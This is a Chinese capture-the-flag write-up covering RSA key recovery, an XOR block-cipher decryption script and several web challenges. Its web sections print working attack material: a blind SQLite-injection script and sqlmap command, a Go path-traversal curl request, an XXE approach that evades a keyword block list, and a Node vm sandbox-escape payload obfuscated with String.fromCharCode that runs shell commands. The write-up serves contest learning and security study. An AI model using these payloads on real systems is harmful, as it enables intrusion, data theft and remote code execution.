U1zi8xC41aUNRHyxqGzKXE68sZRKUb+jn1rIgzXE1CX+tX/GuzoqeaixXQyUsr9c
zerj6DiU5mBgAst5wVebvt1Izy36cLtgVe0zTgJp7pkPr+oQ8aJRw1J2/8s8Q91I
kjfB7w==
-----END PUBLIC KEY-----
再用公钥求私钥
得到私钥
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
再利用私钥求pq
得到pq之后找个rsa脚本带进去就行
Block Cipher
加密脚本
给了三个值
iv = b'Up\x14\x98r\x14%\xb9'
key = b'\r\xe8\xb86\x9c33^'
parts = [b'0\xff\xcd\xc3\x8b\T\x8b', b'RT\x1e\x89t&\x17\xbd', b'\x1a\xee\x8d\xd6\x9b>w\x8c', b'9CT\xb3^pF\xd0']
加密的逻辑大致是将flag每八个字符一组,不够的在末尾加上chr(len(该段长度))重复一定次数凑够八个字符,同时构造有八组数据的iv和key变量,并与flag分成的组进行一次异或操作,将异或操作后的内容作为下一次异或操作的iv。同时将异或后的内容放入results列表中
其中返回值的内容都是可迭代类型,所以要利用for循环才能读出里面的内容
八个一组的数字
也就相当于第一组48 = 85^13^ord(flag的第一个字符)即ord('h')
经过测试这个也能逆推
所以只要根据加密脚本将flag变为给的parts里的内容就能分段解密
贴一下其他师傅写的解码脚本(我是菜b
import operator
import gmpy2
from Crypto.Util.number import long_to_bytes
import random
from functools import reduce
iv = b'Up\x14\x98r\x14%\xb9'
key = b'\r\xe8\xb86\x9c33^'
parts = [b'0\xff\xcd\xc3\x8b\\T\x8b', b'RT\x1e\x89t&\x17\xbd', b'\x1a\xee\x8d\xd6\x9b>w\x8c', b'9CT\xb3^pF\xd0']
results = []
def xor(a, b):
assert len(a) == len(b)
return bytes(map(operator.xor, a, b))
def decrypt():
for index, part in enumerate(parts):
results.append(reduce(xor, [part, iv if index == 0 else parts[index - 1], key]))
decrypt()
print(results)
WEB
SecurityCenter
看一下这个路径
再结合
猜测是twig的模板注入
参考链接
cat应该是被过滤了,可以用tac看一下
把含有hgame内容的字符串也过滤了,尝试逆向输出
成功,拿到flag
Vidar shop demo
看这个描述就像支付逻辑漏洞
先随便注册个账户进入
看看商店,flag要一万,我们只有九千九百九十九
先买个徽章试试
发现购买的徽章如果删除,购买花费的钱也会返还,所以试试再开一个网页,同时删除徽章
成功大于一万了,买个flag
LoginMe*
sql注入,给的hint很明显就是sql语句
但是因为平常的题都是mysql的,这个是 sqlite,所以只试出了注入点,其他的就没注
sqlite因为其比较简易每个db文件就是一个数据库,所以不存在information_schema数据库,但存在类似作用的表sqlite_master。
该表记录了该库下的所有表,索引,表的创建sql等所以我们可以通过此读取数据,常见语句如下。
1 读取表名:select group_concat(name) from sqlite_master where type='table'
2 读取字段:select group_concat(sql) from sqlite_master where type='table' and name='表名'
看看表名
证明确实能注,可以写个脚本
反正最后表名是uuussseeerrrsss
后边的脚本(手注太慢了
import requests
url = "http://d51f66203d.login.summ3r.top:60067/login"
date = {"username":"test') and substr((select sql from sqlite_master where type='table' and name='uuussseeerrrsss'),{},1)='{}'--+","password":"test"}
flag = ''
for i in range(1,200):
for j in range(31,127):
#列名
#date["username"] = "test') and substr((select sql from sqlite_master where type='table' and name='uuussseeerrrsss'),{},1)='{}'--+".format(i,chr(j))
#读数据
date["username"] = "test') and substr((select group_concat(password) from uuussseeerrrsss),{},1)='{}'--+".format(i,chr(j))
r = requests.post(url,json=date);
response = r.text
if 'success' in response:
flag +=chr(j)
print(flag)
break
print(flag)
拿到密码之后登录就行
也可以用sqlmap直接跑
bp抓包之后保存到本地
然后上sqlmap
python sqlmap.py -r "D:\Desktop\post.txt" --dump --batch --threads 10 --no-cast --flush-session
第四周wp
WEB
FileSystem
又是go语言的题
很明显flag在there may be a flag里但是没法访问到
因为根据main.go里的内容可以看到这个路由被出题人加上了web服务,从而使得我们没法通过直接访问/there may be a flag
来获取文件。而是得到/there may be a flag
路由的回显。
谷歌找一下ctf里出现过的go语言漏洞
https://bycsec.top/2021/02/07/golang%E7%9A%84%E4%B8%80%E4%BA%9B%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/
利用相对路径访问
对于 CONNECT 请求,路径和主机保持不变。
和这道题的考点一模一样,可以仿照其payload仿写一个
curl --path-as-is -X CONNECT http://6a87cb1c66.filesystem.hgame.homeboyc.cn/main.go/../there_may_be_a_flag
Comment*
考点:xxe注入
源码:
<?php
require './init.php';
require_once './db.php';
libxml_disable_entity_loader(false);
function waf($str): bool {
if (preg_match('/file|glob|http|dict|gopher|php|ftp|ssh|phar/i', $str)) {
return true;
}
return false;
}
function save() {
if ($_SERVER['REQUEST_METHOD'] != 'POST') {
echo json_encode(['error' => 'wrong method']);
return;
}
$data = file_get_contents('php://input');
if (waf($data)) {
http_response_code(403);
echo json_encode(['error' => 'Hacker!']);
return;
}
$id = $_SESSION['unique_id'];
$db = getDB();
$stmt = $db->prepare('INSERT INTO comments (sender,content) VALUES (?,?)');
$stmt->execute([$id, $data]);
if ($stmt->rowCount() != 0) {
echo json_encode(['msg' => 'success']);
} else {
http_response_code(500);
echo json_encode(['error' => 'failed to create records']);
}
}
function parseXML($str) {
$dom = new DOMDocument();
try {
$dom->loadXML($str, LIBXML_NOENT | LIBXML_DTDLOAD);
} catch (Exception $e) {
http_response_code(400);
echo json_encode(['error' => 'invalid xml data']);
die();
}
$attrs = simplexml_import_dom($dom);
if (!isset($attrs->content)) {
http_response_code(400);
echo json_encode(['error' => 'content is empty']);
die();
}
if (waf($attrs->sender) || waf($attrs->content)) {
http_response_code(403);
echo json_encode(['error' => 'Hacker!']);
die();
}
if ($attrs->sender == 'admin' && !preg_match('/admin/i', $str)) {
$flag = 'hgame{xxxxx}';
$attrs->content = $flag;
}
return $attrs;
}
function get() {
$id = $_SESSION['unique_id'];
$db = getDB();
$stmt = $db->prepare('SELECT * FROM comments WHERE sender=?');
$stmt->execute([$id]);
$data = $stmt->fetchAll();
$result = [];
foreach ($data as $key => $val) {
array_push($result, parseXML($val['content']));
}
echo json_encode($result);
}
switch ($_GET['action']) {
case 'get':
get();
break;
case 'add':
save();
break;
case 'info':
echo json_encode(['unique_id' => $_SESSION['unique_id']]);
break;
default:
http_response_code(400);
echo json_encode(['error' => 'no such action']);
break;
}
先抓个包看看
挺明显的xxe
然后就要满足获取flag的条件
要求sender里有admin但是传入的内容不许有admin
可以尝试data协议
(比赛的时候不知道怎么想的一直想绕过waf读文件。。。忘了data协议
Markdown Online*
看一下源码
toUpperCase()是将小写转换为大写,但是这样也绝不可能绕过54gk的这个if判断
利用了try catch但是catch并没有return语句,也就导致try中的代码抛出错误后继续往下执行
所以就要想办法让req.body.password = req.body.password.toUpperCase()报错
对 req.body.password.toUpperCase() 正确的解读方式是:获取 req.body.password对象的 toUpperCase属性,然后把这个属性当作函数来调用。如果这个属性不是函数对象就会抛出错误
所以可以用
{"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]}
或
{"username":"admin","password":{"length": 16}}
都可以满足第一个if的length==16的判断并让toUpperCase()报错
然后我们访问/md
在这部分
利用markdownit库,并对html标签支持
在提交的地方
在 SubmitController 里,markdown-it 解析出来的 html 代码会被 zombie.js 加载,zobmie.js 在遇到 JavaScript 代码的时候会将其交给 vm 虚拟机执行
而vm模块是存在逃逸的, JavaScript 对象的继承是靠原型链实现的,借助原型链可访问到 vm 沙箱以外的内容,实现 RCE
百度找个vm逃逸的payload
this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')
然后还要绕过waf
利用 JavaScript 的语言特性, obj.contructor 可以变为 obj["contr"+"uctor"] 的形式, + 也被 ban 了,可以用concat拼接字符串的形式: obj["constru".concat("ctor")] this 和 process 可以用 eval("th"+"is") 的形式绕过。
这里eval和String.fromCharCode都没被过滤,可以用这个绕过
a = "document.write(this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls /'))"
b = []
for i in range(len(a)):
b.append(ord(a[i]))
print(b)
<script>eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 116, 104, 105, 115, 46, 95, 95, 112, 114, 111, 116, 111, 95, 95, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 40, 39, 114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115, 39, 41, 40, 41, 46, 109, 97, 105, 110, 77, 111, 100, 117, 108, 101, 46, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 46, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 108, 115, 32, 47, 39, 41, 41))</script>
然后cat /flag